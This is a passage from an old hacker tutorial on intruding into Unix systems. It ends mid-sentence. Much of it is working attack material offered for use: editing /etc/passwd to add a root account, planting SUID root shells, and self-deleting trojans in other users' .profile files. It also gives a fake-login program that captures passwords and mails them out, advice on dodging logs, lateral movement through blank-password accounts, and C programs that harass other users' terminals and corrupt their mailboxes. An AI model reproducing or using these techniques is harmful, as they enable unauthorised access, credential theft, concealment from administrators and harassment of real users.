must think of user groups as well as user names. Everyone +belongs to a group. at the $ prompt, you could type in 'id' to see what +group you are in. Ok, groups are used to allow people access certain things, +instead of just having one person controlling/having access to certain files. +Remember also, that Unix looks at someone's UID to determine access, not +user name. + +Ok. File permissions are not really that complicated. Each file has an owner +This OWNER is usually the one who creates the file, either by copying a file +or just by plain editing one. The program CHOWN can be used to give someone +ownership of a file. Remember that the owner of a file must be the one who +runs CHOWN, since he is the only one that can change the permissions of a file +Also, there is a group owner, which is basically the group that you were in +when the file was created. You would use chgrp to change the group a file is +in. + +Now, Files can have Execute permissions, read permissions, or write permission. +If you have execute permission, you know that you can just type in the name +of that program at the command line, and it will execute. If you have read +permission on a file, you can obviously read the file, or do anything that +reads the file in, such as copying the file or cat[ing] it (Typing it). +If you do NOT have access to read a file, you can't do anything that requires +reading in the file. This is the same respect with write permission. Now, +all the permissions are arranged into 3 groups. The first is the owner's +permissions. He may have the permissions set for himself to read and execute +the file, but not write to it. This would keep him from deleting it. +The second group is the group permissions. Take an elongated directory +for an example: + $ ls -l runme + r-xrwxr-- sirhack root 10990 March 21 runme + +ok. Now, "root" is the groupname this file is in. "sirhack" is the owner. +Now, if the group named 'root' has access to read, write and execute, they +could do just that. Say .. Scythian came across the file, and was in the root +user group. He could read write or execute the file. Now, say datawiz came +across it, but was in the "users" group. The group permissions would not +apply to him, meaning he would have no permissions, so he couldn't touch +the file, right? Sorta. There is a third group of permissions, and this is +the "other" group. This means that the permissions in the "other" group +apply to everyone but the owner, and the users in the same group as the file. +Look at the directory entry above. the r-x-rwxr-- is the permissions line. +The first three characters are the permissions for the owner (r-x). The +"r-x" translates to "Read and execute permissions, but no write permissions" +the second set of three, r-xRWXr-- (the ones in capital letters) are the group +permissions. Those three characters mean "Read, write, and execution allowed" +The 3rd set, r-xrwxR-- is the permissions for everyone else. It means +"Reading allowed, but nothing else". A directory would look something like +this: + $ ls -l + drwxr-xr-x sirhack root 342 March 11 src + +A directory has a "d" at the beggining of the permissions line. Now, the +owner of the directory (sirhack) can read from the directory, write in the +directory, and execute programs from the directory. The root group and every- +one else can only read from the directory, and execute off the directory. +So, If I changed the directory to be executable only, this is +what it would look like: + $ chmod go-r + $ ls + drwx--x--x sirhack root 342 March 11 src + +Now, if someone went into the directory besides "sirhack", they could only +execute programs in the directory. If they did an "ls" to get a directory +of src, when they were inside src, it would say "cannot read directory". +If there is a file that is readable in the directory, but the directory is +not readable, it is sometimes possible to read the file anyway. + +If you do not have execute permissions in a directory, you won't be able to +execute anything in the directory, most of the time. + +_____________________________________________________________________________ + +-------------- +Hacking: +-------------- + The first step in hacking a UNIX is to get into the operating system +by finding a valid account/password. The object of hacking is usually to +get root (full privileges), so if you're lucky enough to get in as root, +you need not read anymore of this hacking phile , and get into the +"Having Fun" Section. Hacking can also be just to get other's accounts also. + +Getting IN +---------- + The first thing to do is to GET IN to the Unix. I mean, get past +the login prompt. That is the very first thing. When you come across a UNIX, +sometimes it will identify itself by saying something like, +"Young INC. Company UNIX" + +or Just +"Young Inc. Please login" + + Here is where you try the defaults I listed. If you get in with those +you can get into the more advanced hacking (getting root). If you do something +wrong at login, you'll get the message +"login incorrect" +This was meant to confuse hackers, or keep the wondering. Why? +Well, you don't know if you've enterred an account that does not exist, or one +that does exist, and got the wrong password. If you login as root and it says +"Not on Console", you have a problem. You have to login as someone else, +and use SU to become root. + + Now, this is where you have to think. If you cannot get in with a +default, you are obviously going to have to find something else to +login as. Some systems provide a good way to do this by allowing the use +of command logins. These are ones which simply execute a command, then +logoff. However, the commands they execute are usually useful. For instance +there are three common command logins that tell you who is online at the +present time. They are: + who + rwho + finger + + If you ever successfully get one of these to work, you can write down +the usernames of those online, and try to logon as them. Lots of unsuspecting +users use there login name as their password. For instance, the user +"bob" may have a password named "bob" or "bob1". This, as you know, is +not smart, but they don't expect a hacking spree to be carried out on +them. They merely want to be able to login fast. + If a command login does not exist, or is not useful at all, you will +have to brainstorm. A good thing to try is to use the name of the unix +that it is identified as. For instance, Young INC's Unix may have an account +named "young" + Young, INC. Please Login. + login: young + UNIX SYSTEM V REL 3.2 + (c)1984 AT&T.. + .. + .. + .. + + Some unixes have an account open named "test". This is also a default, +but surprisingly enough, it is sometimes left open. It is good to try to +use it. Remember, brainstorming is the key to a unix that has no apparent +defaults open. Think of things that may go along with the Unix. type +in stuff like "info", "password", "dial", "bbs" and other things that +may pertain to the system. "att" is present on some machines also. + +ONCE INSIDE -- SPECIAL FILES +---------------------------- + There are several files that are very important to the UNIX +environment. They are as follows: + +/etc/passwd - This is probably the most important file on a Unix. Why? + well, basically, it holds the valid usernames/passwords. + This is important since only those listed in the passwd + file can login, and even then some can't (will explain). + The format for the passwordfile is this: + +username:password:UserID:GroupID:description(or real name):homedir:shell + + Here are two sample entries: + +sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh +demo::101:100:Test Account:/usr/demo:/usr/sh + + In the first line, sirhack is a valid user. The second + field, however, is supposed to be a password, right? Well, + it is, but it's encrypted with the DES encryption standard. + the part that says "&a,Ty" may include a date after the comma + (Ty) that tells unix when the password expires. Yes, the + date is encrypted into two alphanumeric characters (Ty). + + In the Second example, the demo account has no password. + so at Login, you could type in: + +login: demo +UNIX system V +(c)1984 AT&T +.. +.. + + But with sirhack, you'd have to enter a password. Now, + the password file is great, since a lot of times, you;ll + be able to browse through it to look for unpassworded + accounts. Remember that some accounts can be restricted + from logging in, as such: + +bin:*:2:2:binaccount:/bin:/bin/sh + + The '*' means you won't be able to login with it. Your + only hope would be to run an SUID shell (explained later). + + A note about the DES encryption: each unix makes its own unique +"keyword" to base encryption off of. Most of the time its just random letters +and numbers. Its chosen at installation time by the operating system. + Now, decrypting DES encrypted things ain't easy. Its pretty much +impossible. Especially decrypting the password file (decrypting the password +field within the password file to be exact). Always beware a hacker who +says he decrypted a password file. He's full of shit. Passwords are +never decrypted on unix, but rather, a system call is made to a function +called "crypt" from within the C language, and the string you enter as +the password gets encrypted, and compared to the encrypted password. If +they match, you're in. Now, there are password hackers, but they donot +decrypt the password file, but rather, encrypt words from a dictionary +and try them against every account (by crypting/comparing) until it finds +a match (later on!). Remember, few, if none, have decrypted the password +file successfuly. + +/etc/group - This file contains The valid groups. The group file is usually + defined as this: + groupname:password:groupid:users in group + + Once again, passwords are encrypted here too. If you see a blank + in the password entry you can become part of that group by + using the utility "newgrp". Now, there are some cases in + which even groups with no password will allow only certain + users to be assigned to the group via the newgrp command. Usually, + if the last field is left blank, that means any user can use newgrp + to get that group's access. Otherwise, only the users specified in + the last field can enter the group via newgrp. + + Newgrp is just a program that will change your group current + group id you are logged on under to the one you specify. The + syntax for it is: newgrp groupname + Now, if you find a group un passworded, and use newgrp to + enter it, and it asks for a password, you are not allowed to use + the group. I will explain this further in The "SU & Newgrp" section. + +/etc/hosts - this file contains a list of hosts it is connected to thru + a hardware network (like an x.25 link or something), or sometimes + just thru UUCP. This is a good file when you are hacking a + large network, since it tells you systems you can use with + rsh (Remote Shell, not restricted shell), rlogin, and telnet, + as well as other ethernet/x.25 link programs. + +/usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in + Several directories, but it is usually in /usr/adm. This file + is what it sounds like. Its a log file, for the program SU. + What it is for is to keep a record of who uses SU and when. + whenever you use SU, your best bet would be to edit this file + if possible, and I'll tell you how and why in the section + about using "su". + +/usr/adm/loginlog +or /usr/adm/acct/loginlog - + This is a log file, keeping track of the logins. + Its purpose is merely for accounting and "security review". Really, + sometimes this file is never found, since a lot of systems keep the + logging off. + +/usr/adm/errlog +or errlog - This is the error log. It could be located anywhere. It + keeps track of all serious and even not so serious errors. + Usually, it will contain an error code, then a situation. + the error code can be from 1-10, the higher the number, the + worse the error. Error code 6 is usually used when you try + to hack. "login" logs your attempt in errlog with error code + 6. Error code 10 means, in a nutshell, "SYSTEM CRASH". + +/usr/adm/culog - This file contains entries that tell when you used cu, + where you called and so forth. Another security thing. + +/usr/mail/ - this is where the program "mail" stores its mail. + to read a particular mailbox, so they are called, + you must be that user, in the user group "mail" or + root. each mailbox is just a name. for instance, + if my login was "sirhack" my mail file would usually + be: /usr/mail/sirhack + +/usr/lib/cron/crontabs - This contains the instructions for cron, usually. + Will get into this later. + +/etc/shadow - A "shadowed" password file. Will talk about this later. + + +-- The BIN account -- + + Well, right now, I'd like to take a moment to talk about the account +"bin". While it is only a user level account, it is very powerful. It is +the owner of most of the files, and on most systems, it owns /etc/passwd, +THE most important file on a unix. See, the bin account owns most of the +"bin" (binary) files, as well as others used by the binary files, such +as login. Now, knowing what you know about file permissions, if bin owns +the passwd file, you can edit passwd and add a root entry for yourself. +You could do this via the edit command: +$ ed passwd +10999 [The size of passwd varies] +* a +sirhak::0:0:Mr. Hackalot:/:/bin/sh +{control-d} +* w +* q +$ + +Then, you could say: exec login, then you could login as sirhack, and +you'd be root. + +/\/\/\/\/\/\/\/\/ +Hacking.......... +/\/\/\/\/\/\/\/\/ + +-------------- +Account Adding +-------------- + + There are other programs that will add users to the system, instead +of ed. But most of these programs will NOT allow a root level user to be +added, or anything less than a UID of 100. One of these programs is +named "adduser". Now, the reason I have stuck this little section in, is +for those who want to use a unix for something useful. Say you want a +"mailing address". If the unix has uucp on it, or is a big college, +chances are, it will do mail transfers. You'll have to test the unix +by trying to send mail to a friend somewhere, or just mailing yourself. +If the mailer is identified as "smail" when you mail yourself (the program +name will be imbedded in the message) that probably means that the system +will send out UUCP mail. This is a good way to keep in contact with people. +Now, this is why you'd want a semi-permanent account. The way to achieve this +is by adding an account similar to those already on the system. If all the +user-level accounts (UID >= 100) are three letter abbriviations, say +"btc" for Bill The Cat, or "brs" for bill ryan smith, add an account +via adduser, and make a name like sally jane marshall or something +(they don't expect hackers to put in female names) and have the account +named sjm. See, in the account description (like Mr. Hackalot above), that +is where the real name is usually stored. So, sjm might look like this: + sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh +Of course, you will password protect this account, right? +Also, group id's don't have to be above 100, but you must put the account +into one that exists. Now, once you login with this account, the first +thing you'd want to do is execute "passwd" to set a password up. If you +don't, chances are someone else 'll do it for you (Then you'll be SOL). + +------------------- +Set The User ID +------------------- + + This is porbably one of the most used schemes. Setting up an "UID- +Shell". What does this mean? Well, it basically means you are going +to set the user-bit on a program. The program most commonly used is +a shell (csh,sh, ksh, etc). Why? Think about it: You'll have access +to whatever the owner of the file does. A UID shell sets the user-ID of +the person who executes it to the owner of the program. So if root +owns a uid shell, then you become root when you run it. This is an +alternate way to become root. + + Say you get in and modify the passwd file and make a root level +account unpassworded, so you can drop in. Of course, you almost HAVE to +get rid of that account or else it WILL be noticed eventually. So, what +you would do is set up a regular user account for yourself, then, make +a uid shell. Usually you would use /bin/sh to do it. After adding +the regular user to the passwd file, and setting up his home directory, +you could do something like this: +(assume you set up the account: shk) + # cp /bin/sh /usr/shk/runme + # chmod a+s /usr/shk/runme + +Thats all there would be to it. When you logged in as shk, you could just +type in: + + $ runme + # + +See? You'd then be root. Here is a thing to do: + +$ id +uid=104(shk) gid=50(user) + +$ runme +# id +uid=104(shk) gid=50(user) euid=0(root) +# + +The euid is the "effective" user ID. UID-shells only set the effective +userid, not the real user-id. But, the effective user id over-rides the +real user id. Now, you can, if you wanted to just be annoying, make +the utilities suid to root. What do I mean? For instance, make 'ls' +a root 'shell'. : + +# chmod a+s /bin/ls +# exit +$ ls -l /usr/fred +.. +...... +etc crap + +Ls would then be able to pry into ANY directory. If you did the same to +"cat" you could view any file. If you did it to rm, you could delete any +file. If you did it to 'ed', you could edit any-file (nifty!), anywhere on +the system (usually). + + +How do I get root? +------------------ + + Good question indeed. To make a program set the user-id shell to root, +you have to be root, unless you're lucky. What do I mean? Well, say +you find a program that sets the user-id to root. If you have access +to write to that file, guess what? you can copy over it, but keep +the uid bit set. So, say you see that the program chsh is setting +the user id too root. You can copy /bin/sh over it. + +$ ls -l +rwsrwsrws root other 10999 Jan 4 chsh +$ cp /bin/sh chsh +$ chsh +# + +See? That is just one way. There are others, which I will now talk +about. + +More on setting the UID +----------------------- + + Now, the generic form for making a program set the User-ID bit +is to use this command: + +chmod a+s file + +Where 'file' is a valid existing file. Now, only those who own the file +can set the user ID bit. Remember, anything YOU create, YOU own, so if +you copy th /bin/sh, the one you are logged in as owns it, or IF the +UID is set to something else, the New UID owns the file. This brings +me to BAD file permissions. + + + +II. HACKING : Bad Directory Permissions + + Now, what do I mean for bad directory permissions? Well, look for +files that YOU can write to, and above all, DIRECTORIES you can write to. +If you have write permissions on a file, you can modify it. Now, this comes +in handy when wanting to steal someone's access. If you can write to +a user's .profile, you are in business. You can have that user's .profile +create a suid shell for you to run when You next logon after the user. +If the .profile is writable to you, you can do this: + +$ ed .profile +[some number will be here] +? a +cp /bin/sh .runme +chmod a+x .runme +chmod a+s .runme +(control-d) +? w +[new filesize will be shown] +? q +$ + + Now, when the user next logs on, the .profile will create .runme which + will set your ID to the user whose .profile you changed. Ideally, you'll + go back in and zap those lines after the suid is created, and you'll create + a suid somewhere else, and delete the one in his dir. The .runme will + not appear in the user's REGULAR directory list, it will only show up + if he does "ls -a" (or ls with a -a combination), because, the '.' makes + a file hidden. + +The above was a TROJAN HORSE, which is one of the most widely used/abused +method of gaining more power on a unix. The above could be done in C via +the system() command, or by just plain using open(), chmod(), and the like. +* Remember to check and see if the root user's profile is writeable * +* it is located at /.profile (usually) * + + + The BEST thing that could happen is to find a user's directory writeable + by you. Why? well, you could replace all the files in the directory + with your own devious scripts, or C trojans. Even if a file is not + writeable by you, you can still overwrite it by deleteing it. If you + can read various files, such as the user's .profile, you can make a + self deleting trojan as so: + + $ cp .profile temp.pro + $ ed .profile + 1234 + ? a + cp /bin/sh .runme + chmod a+x .runme + chmod a+s .runme + mv temp.pro .profile + (control-d) + ? w + [another number] + ? q + $ chown that_user temp.pro + + What happens is that you make a copy of the .profile before you change it. + Then, you change the original. When he runs it, the steps are made, then + the original version is placed over the current, so if the idiot looks in + his .profile, he won't see anything out of the ordinary, except that he + could notice in a long listing that the change date is very recent, but + most users are not paranoid enough to do extensive checks on their files, + except sysadm files (such as passwd). + + Now, remember, even though you can write to a dir, you may not be able + to write to a file without deleting it. If you do not have write perms + for that file, you'll have to delete it and write something in its place + (put a file with the same name there). The most important thing to remember + if you have to delete a .profile is to CHANGE the OWNER back after you + construct a new one (hehe) for that user. He could easily notice that his + .profile was changed and he'll know who did it. YES, you can change the + owner to someone else besides yourself and the original owner (as to throw + him off), but this is not wise as keeping access usually relies on the fact + that they don't know you are around. + + You can easily change cron files if you can write to them. I'm not going + to go into detail about cronfile formats here, just find the crontab files + and modify them to create a shell somewhere as root every once in a while, + and set the user-id. + +III. Trojan Horses on Detached terminals. + Basically this: You can send garbage to a user's screen and + mess him up bad enough to force a logoff, creating a detached + account. Then you can execute a trojan horse off that terminal in + place of login or something, so the next one who calls can hit the + trojan horse. This USUALLY takes the form of a fake login and + write the username/pw entererred to disk. + + Now, there are other trojan horses available for you to write. Now, + don't go thinking about a virus, for they don't work unless ROOT runs + them. Anyway, a common trjan would be a shell script to get the + password, and mail it to you. Now, you can replace the code for + the self deleting trojan with one saying something like: + echo "login: \c" + read lgin + echo off (works on some systems) + (if above not available...: stty -noecho) + echo "Password:\c" + read pw + echo on + echo "Login: $lgin - Pword: $pw" | mail you + + Now, the best way to use this is to put it in a seperate script file + so it can be deleted as part of the self deleting trojan. A quick + modification, removing the "login: " and leaving the password + may have it look like SU, so you can get the root password. But + make sure the program deletes itself. Here is a sample trojan + login in C: + + #include + /* Get the necessary defs.. */ + main() + { + char *name[80]; + char *pw[20]; + FILE *strm; + printf("login: "); + gets(name); + pw = getpass("Password:"); + strm = fopen("/WhereEver/Whateverfile","a"); + fprintf(strm,"User: (%s), PW [%s]\n",name,pw); + fclose(strm); + /* put some kind of error below... or something... */ + printf("Bus Error - Core Dumped\n"); + exit(1); + } + + The program gets the login, and the password, and appends it to + a file (/wherever/whateverfile), and creates the file if it can, + and if its not there. That is just an example. Network Annoyances + come later. + + IV. Odd systems + + There may be systems you can log in to with no problem, and find some +slack menu, database, or word processor as your shell, with no way to the +command interpreter (sh, ksh, etc..). Don't give up here. Some systems will +let you login as root, but give you a menu which will allow you to add an +account. However, ones that do this usually have some purchased software +package running, and the people who made the software KNOW that the people +who bought it are idiots, and the thing will sometimes only allow you to +add accounts with user-id 100 or greater, with their special menushell as +a shell. You probably won't get to pick the shell, the program will probably +stick one on the user you created which is very limiting. HOWEVER, sometimes +you can edit accounts, and it will list accounts you can edit on the screen. +HOWEVER, these programs usually only list those with UIDS > 100 so you don't +edit the good accounts, however, they donot stop you from editing an account +with a UID < 100. The "editing" usually only involves changing the password +on the account. If an account has a * for a password, the standard passwd +program which changes programs, will say no pw exists, and will ask you to +enter one. (wallah! You have just freed an account for yourself. Usually +bin and sys have a * for a password). If one exists you'll have to enter +the old Password (I hope you know it!) for that account. Then, you are +in the same boat as before. (BTW -- These wierd systems are usually +Xenix/386, Xenix/286, or Altos/286) + With word processors, usually you can select the load command, +and when the word processor prompts for a file, you can select the passwd +file, to look for open accounts, or at least valid ones to hack. An example +would be the informix system. You can get a word processor with that such +as Samna word, or something, and those Lamers will not protect against +shit like that. Why? The Passwd file HAS to be readable by all for the most +part, so each program can "stat" you. However, word processors could be made +to restrict editing to a directory, or set of directories. Here is an +example: + + $ id + uid=100(sirhack) gid=100(users) + $ sword + (word processor comes up) + (select LOAD A FILE) + : /etc/passwd + + (you see: ) + root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh + sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh + datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh + ... + +Now I have found an account to take over! "datawiz" will get me in with no +trouble, then I can change his password, which he will not like at all. +Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions +of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which +will menu drive all the important shit, even creating users, but you must +have ansi or something. + + You can usually tell when you'll get a menu. Sometimes on UNIX + SYSTEM V, when it says TERM = (termtype), and is waiting for + you to press return or whatever, you will probably get a menu.. ack. + +V. Shadowed Password files + Not much to say about this. all it is, is when every password field + in the password file has an "x" or just a single character. What + that does is screw you, becuase you cannot read the shadowed password + file, only root can, and it contains all the passwords, so you will + not know what accounts have no passwords, etc. + +There are a lot of other schemes for hacking unix, lots of others, from +writing assembly code that modifies the PCB through self-changing code which +the interrupt handler doesn't catch, and things like that. However, I do +not want to give away everything, and this was not meant for advanced Unix +Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix +assembly language or anything. Now I will Talk about Internet. + + + +--->>> InterNet <<<--- + Why do I want to talk about InterNet? Well, because it is a prime +example of a TCP/IP network, better known as a WAN (Wide-Area-Network). +Now, mainly you will find BSD systems off of the Internet, or SunOS, for +they are the most common. They may not be when System V, Rel 4.0, Version +2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump +from one computer to another once you are logged in. What happens is +EACH system has a "yello page password file". Better known as yppasswd. +If you look in there, and see blank passwords you can use rsh, rlogin, etc.. +to slip into that system. One system in particular I came across had a +a yppasswd file where *300* users had blank passwords in the Yellow Pages. +Once I got in on the "test" account, ALL I had to do was select who I wanted +to be, and do: rlogin -l user (sometimes -n). Then it would log me onto +the system I was already on, through TCP/IP. However, when you do this, +remember that the yppasswd only pertains to the system you are on at +the time. To find accounts, you could find the yppasswd file and do: + +% cat yppasswd | grep :: + +Or, if you can't find yppasswd.. + +% ypcat passwd | grep :: + +On ONE system (which will remain confidential), I found the DAEMON account +left open in the yppasswd file. Not bad. Anyway, through one system +on the internet, you can reach many. Just use rsh, or rlogin, and look +in the file: /etc/hosts for valid sites which you can reach. If you get +on to a system, and rlogin to somewhere else, and it asks for a password, +that just means one of two things: + +A. Your account that you have hacked on the one computer is on the target + computer as well. Try to use the same password (if any) you found the + hacked account to have. If it is a default, then it is definitly on the + other system, but good luck... + +B. rlogin/rsh passed your current username along to the remote system, so it + was like typing in your login at a "login: " prompt. You may not exist on + the other machine. Try "rlogin -l login_name", or rlogin -n name.. + sometimes, you can execute "rwho" on another machine, and get a valid + account. + +Some notes on Internet servers. There are "GATEWAYS" that you can get into +that will allow access to MANY internet sites. They are mostly run off +a modified GL/1 or GS/1. No big deal. They have help files. However, +you can get a "privilged" access on them, which will give you CONTROL of +the gateway.. You can shut it down, remove systems from the Internet, etc.. +When you request to become privileged, it will ask for a password. There is +a default. The default is "system". I have come across *5* gateways with +the default password. Then again, DECNET has the same password, and I have +come across 100+ of those with the default privileged password. CERT Sucks. +a Gateway that led to APPLE.COM had the default password. Anyone could +have removed apple.com from the internet. Be advised that there are many +networks now that use TCP/IP.. Such as BARRNET, LANET, and many other +University networks. + +--** Having Fun **-- + +Now, if nothing else, you should atleast have some fun. No, I do not mean +go trashing hardrives, or unlinking directories to take up inodes, I mean +play with online users. There are many things to do. Re-direct output +to them is the biggie. Here is an example: + $ who + loozer tty1 + sirhack tty2 + $ banner You Suck >/dev/tty1 + $ + That sent the output to loozer. The TTY1 is where I/O is being performed + to his terminal (usually a modem if it is a TTY). You can repetitiously + banner him with a do while statement in shell, causing him to logoff. Or + you can get sly, and just screw with him. Observe this C program: + +#include +#include +#include + +main(argc,argument) +int argc; +char *argument[]; +{ + int handle; + char *pstr,*olm[80]; + char *devstr = "/dev/"; + int acnt = 2; + FILE *strm; + pstr = ""; + if (argc == 1) { + printf("OL (OneLiner) Version 1.00 \n"); + printf("By Sir Hackalot [PHAZE]\n"); + printf("\nSyntax: ol tty message\n"); + printf("Example: ol tty01 You suck\n"); + exit(1); + } + printf("OL (OneLiner) Version 1.0\n"); + printf("By Sir Hackalot [PHAZE]\n"); + if (argc == 2) { + strcpy(olm,""); + printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n"); + printf("Enter one Here => "); + gets(olm); + } + strcpy(pstr,""); + strcat(pstr,devstr); + strcat(pstr,argument[1]); + printf("Sending to: [%s]\n",pstr); + strm = fopen(pstr,"a"); + if (strm == NULL) { + printf("Error writing to: %s\n",pstr); + printf("Cause: No Write Perms?\n"); + exit(2); + } + if (argc == 2) { + if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname()); + fprintf(strm,"%s\n",olm); + fclose(strm); + printf("Message Sent.\n"); + exit(0); + } + if (argc > 2) { + if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname()); + while (acnt <= argc - 1) { + fprintf(strm,"%s ",argument[acnt]); + acnt++; + } + fclose(strm); + printf("Message sent!\n"); + exit(0); + } +} + +What the above does is send one line of text to a device writeable by you +in /dev. If you try it on a user named "sirhack" it will notify sirhack +of what you are doing. You can supply an argument at the command line, or +leave a blank message, then it will prompt for one. You MUST supply a +Terminal. Also, if you want to use ?, or *, or (), or [], you must not +supply a message at the command line, wait till it prompts you. Example: + +$ ol tty1 You Suck! +OL (OneLiner) Version 1.00 +by Sir Hackalot [PHAZE] +Sending to: [/dev/tty1] +Message Sent! +$ +Or.. +$ ol tty1 +OL (OneLiner) Version 1.00 +by Sir Hackalot [PHAZE] +Dummy! You Forgot to Supply a ONE LINE MESSAGE! +Enter one here => Loozer! Logoff (NOW)!! ^G^G +Sending to: [/dev/tty1] +Message Sent! +$ + + You can even use it to fake messages from root. Here is another: + + +/* + * Hose another user + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#define NMAX sizeof(ubuf.ut_name) + +struct utmp ubuf; +struct termio oldmode, mode; +struct utsname name; +int yn; +int loop = 0; +char *realme[50] = "Unknown"; +char *strcat(), *strcpy(), me[50] = "???", *him, *mytty, histty[32]; +char *histtya, *ttyname(), *strrchr(), *getenv(); +int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout(); +FILE *tf; + +main(argc, argv) +int argc; +char *argv[]; +{ + register FILE *uf; + char c1, lastc; + int goodtty = 0; + long clock = time((long *) 0); + struct tm *localtime(); + struct tm *localclock = localtime( &clock ); + struct stat stbuf; + char psbuf[20], buf[80], window[20], junk[20]; + FILE *pfp, *popen(); + + if (argc < 2) { + printf("usage: hose user [ttyname]\n"); + exit(1); + } + him = argv[1]; + + if (argc > 2) + histtya = argv[2]; + if ((uf = fopen("/etc/utmp", "r")) == NULL) { + printf("cannot open /etc/utmp\n"); + exit(1); + } + cuserid(me); + if (me == NULL) { + printf("Can't find your login name\n"); + exit(1); + } + mytty = ttyname(2); + if (mytty == NULL) { + printf("Can't find your tty\n"); + exit(1); + } + if (stat(mytty, &stbuf) < 0) { + printf("Can't stat your tty -- This System is bogus.\n"); + } + if ((stbuf.st_mode&02) == 0) { + printf("You have write permissions turned off (hehe!).\n"); + } + + if (histtya) { + if (!strncmp(histtya, "/dev/", 5)) + histtya = strrchr(histtya, '/') + 1; + strcpy(histty, "/dev/"); + strcat(histty, histtya); + } + while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) { + if (ubuf.ut_name[0] == '\0') + continue; + if (!strncmp(ubuf.ut_name, him, NMAX)) { + logcnt++; + if (histty[0]==0) { + strcpy(histty, "/dev/"); + strcat(histty, ubuf.ut_line); + } + if (histtya) { + if (!strcmp(ubuf.ut_line, histtya)) + goodtty++; + } + } + } + fclose(uf); + if (logcnt==0) { + printf("%s not found! (Not logged in?)\n", him); + exit(1); + } + + if (histtya==0 && logcnt > 1) { + printf("%s logged more than once\nwriting to %s\n", him, histty+5); + } + if (access(histty, 0) < 0) { + printf("No such tty? [%s]\n",histty); + exit(1); + } + signal(SIGALRM, timout); + alarm(5); + if ((tf = fopen(histty, "w")) == NULL) + goto perm; + alarm(0); + if (fstat(fileno(tf), &stbuf) < 0) + goto perm; + if (geteuid() != 0 && (stbuf.st_mode&02) == 0) + goto perm; + ioctl(0, TCGETA, &oldmode); /* save tty state */ + ioctl(0, TCGETA, &mode); + sigs(eof); + uname(&name); + if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1; + if (yn == 1 ) { + fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me); + fclose(tf); + printf("Critical Error Handler: %s running conflicting process\n",him); + exit(1); +} + fflush(tf); + mode.c_cc[4] = 1; + mode.c_cc[5] = 0; + mode.c_lflag &= ~ICANON; + ioctl(0, TCSETAW, &mode); + lastc = '\n'; + + +printf("Backspace / Spin Cursor set lose on: %s\n",him); + while (loop == 0) { + c1 = '\b'; + write(fileno(tf),&c1,1); + sleep(5); +fprintf(tf,"\\\b|\b/\b-\b+\b"); + fflush(tf); + } + + + + +perm: +printf("Write Permissions denied!\n"); +exit(1); +} + +timout() +{ + +printf("Timeout opening their tty\n"); +exit(1); +} + +eof() +{ +printf("Bye..\n"); +ioctl(0, TCSETAW, &oldmode); +exit(0); +} + +ex() +{ + register i; + sigs(SIG_IGN); + i = fork(); + if (i < 0) { + printf("Try again\n"); + goto out; + } + if (i == 0) { + sigs((int (*)())0); + execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0); + exit(0); + } + while(wait((int *)NULL) != i) + ; + printf("!\n"); +out: + sigs(eof); +} + +sigs(sig) +int (*sig)(); +{ + register i; + for (i=0; signum[i]; i++) + signal(signum[i], sig); +} + + + +What the above is, is a modified version of the standard write command. +What it does, is spin the cursor once, then backspace once over the +screen of the user it is run on. All though, it does not physically affect +input, the user thinks it does. therefore, he garbles input. The sleep(xx) +can be changed to make the stuff happen more often, or less often. +If you put your login name in the "YOURNAMEHERE" slot, it will protect you +from getting hit by it, if someone off a Public access unix leeches the +executable from your directory. +You could make a shorter program that does almost the same thing, but +you have to supply the terminal, observe: + +/* Backspace virus, by Sir Hackalot [Phaze] */ +#include +#include +main(argc,argv) +char *argv[]; +int argc; +{ + int x = 1; + char *device = "/dev/"; + FILE *histty; + if (argc == 1) { + printf("Bafoon. Supply a TTY.\n"); + exit(1); + } + strcat(device,argv[1]); + /* Make the filename /dev/tty.. */ + histty = fopen(device,"a"); + if (histty == NULL) { + printf("Error opening/writing to tty. Check their perms.\n"); + exit(1); + } + printf("BSV - Backspace virus, By Sir Hackalot.\n"); + printf("The Sucker on %s is getting it!\n",device); + while (x == 1) { + fprintf(histty,"\b\b"); + fflush(histty); + sleep(5); + } + } + +Thats all there is to it. If you can write to their tty, you can use this on +them. It sends two backspaces to them every approx. 5 seconds. You +should run this program in the background. (&). Here is an example: + +$ who +sirhack tty11 +loozer tty12 +$ bsv tty12& +[1] 4566 +BSV - Backspace virus, by Sir Hackalot +The Sucker on /dev/tty12 is getting it! +$ + +Now, it will keep "attacking" him, until he loggs of, or you kill the process +(which was 4566 -- when you use &, it gives the pid [usually]). + +** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF +method to terminate a line. However, the LF terminates a line in Unix. +you must STRIP CR's on an ascii upload if you want something you upload +to an editor to work right. Else, you'll see a ^M at the end of every +line. I know that sucks, but you just have to compensate for it. + +I have a number of other programs that annoy users, but that is enough to +get your imagination going, provided you are a C programmer. You can annoy +users other ways. One thing you can do is screw up the user's mailbox. +The way to do this is to find a binary file (30k or bigger) on the system +which YOU have access to read. then, do this: + +$ cat binary_file | mail loozer + +or + +$ mail loozer < binary file + +That usually will spilt into 2 messages or more. The 1st message will +have a from line.. (from you ..), but the second WILL NOT! Since it does +not, the mail reader will keep exiting and giving him an error message until +it gets fixed.. The way to fix it is to go to the mail box that got hit +with this trick (usually only the one who got hit (or root) and do this), +and edit the file, and add a from line.. like +From username.. + +then it will be ok. You can screw the user by "cat"ing a binary to his tty. +say Loozer is on tty12. You can say.. +$ cat binary_file >/dev/tty12 +$ +It may pause for a while while it outputs it. If you want to resume what +you were doing instantly, do: +$ cat binary_file >/dev/tty12& +[1] 4690 +$ +And he will probably logoff. You can 